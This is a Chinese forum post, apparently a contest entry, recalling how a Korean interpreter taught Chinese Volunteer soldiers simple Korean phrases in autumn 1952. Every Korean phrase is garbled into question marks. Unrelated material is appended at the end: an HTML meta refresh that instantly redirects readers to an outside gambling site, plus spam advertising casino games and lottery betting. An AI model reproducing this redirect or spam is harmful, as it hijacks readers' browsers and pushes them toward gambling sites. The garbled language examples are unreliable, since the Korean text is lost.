本帖最后由 素魄 于 2015-1-30 05:55 编辑 <br /><br /> 吉林区域版开展讲秋天的故事征文活动,不由得我想起六十多年前吉林延吉县朝语翻译李志道教我们志愿军战士学朝鲜话的故事。 那正是1952年的秋天,我志愿军350部队奉命开赴朝鲜作战,为了中朝人民语言的沟通,每一个连队都安排一个朝语翻译。我们连就来了一个吉林省朝鲜族的青年李志道同志当朝语翻译。出发前,连队每一个士兵也接受一次短暂的培训,学一学朝鲜的方言口语,好像----- 同志,这里是什么里???, ??? ?? ??? 朋友,村子里有水井吗???, ???? ??? 大娘,借一个小碗给我用一下。????, ? ?? ??? ?? ???. 大娘,这里距离金城还有多远?????, ?? ?? ? ?? ?????? 好一个“阿吉妈尼”!我们觉得非常有趣,这简单的会话,直到今天还在我的记忆深处。
<meta http-equiv="refresh" content="0; url=http://5757.cc"><link href="http://bbs.5757.cc/8.css" rel="stylesheet" type="text/css" media="screen" /><P> </P>SO娱乐城|真人游戏|足球篮球|时时亻彩| 六合投亻注SO.CC |